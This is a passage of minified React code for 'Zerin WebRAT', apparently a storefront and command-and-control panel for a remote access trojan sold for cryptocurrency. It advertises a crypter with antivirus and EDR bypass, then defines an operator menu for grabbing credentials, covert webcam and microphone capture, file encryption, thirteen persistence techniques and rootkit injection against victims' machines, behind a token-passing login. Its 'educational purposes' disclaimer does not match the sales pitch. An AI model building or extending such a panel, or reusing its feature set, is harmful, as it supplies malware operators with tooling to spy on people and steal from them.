auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:a.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),a.jsxs("div",{className:"group relative",children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[a.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),a.jsxs("div",{className:"mt-8 text-center space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),a.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),a.jsxs(xt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Started"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function A5(){const e=m.useRef(null);return m.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function s(){t.width=window.innerWidth,t.height=window.innerHeight}s(),window.addEventListener("resize",s);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",s)}},[]),a.jsxs(a.Fragment,{children:[a.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),a.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const sy="zerin.pro",O5="zerpanel-67ontoplol.top";function Ex(){return window.location.hostname===sy||window.location.hostname===`www.${sy}`}function sA(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await KE({username:t,password:r}),Ex()){const f=st();if(f){window.location.href=`https://${O5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof bi?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(A5,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[s&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:s})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),a.jsx("div",{className:"auth-stagger-5 pt-1",children:a.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",a.jsx(xt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function oA(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(""),[u,d]=m.useState(""),[f,p]=m.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==s){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}p(!0);try{if(await YE({username:t,password:r,license_key:l}),Ex()){const g=st();if(g){window.location.href=`https://${O5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof bi)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{p(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(A5,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:u})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),a.jsxs("div",{className:"auth-stagger-5",children:[a.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"confirmPassword",type:"password",value:s,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),a.jsxs("div",{className:"auth-stagger-6",children:[a.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),a.jsx("div",{className:"auth-stagger-7 pt-1",children:a.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",a.jsx(xt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Jc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),s=Math.floor(i/60),o=Math.floor(s/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:s<60?`${s}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function Tp(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function lA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Mo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Lo(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function to(e){return e.slice(0,8)}function T5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function cA(e){return`data:image/bmp;base64,${e}`}function uA(e){return e.startsWith("Qk")}const Dn="w-3.5 h-3.5 flex-shrink-0",sn={eye:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:a.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:a.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},dA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),fA=new Set(["remove","exit","uninstall","shutdown"]),mA=new Set(["ban"]),im=[{label:"Monitoring",icon:sn.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:sn.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:sn.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:sn.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:sn.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:sn.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:sn.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:sn.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change 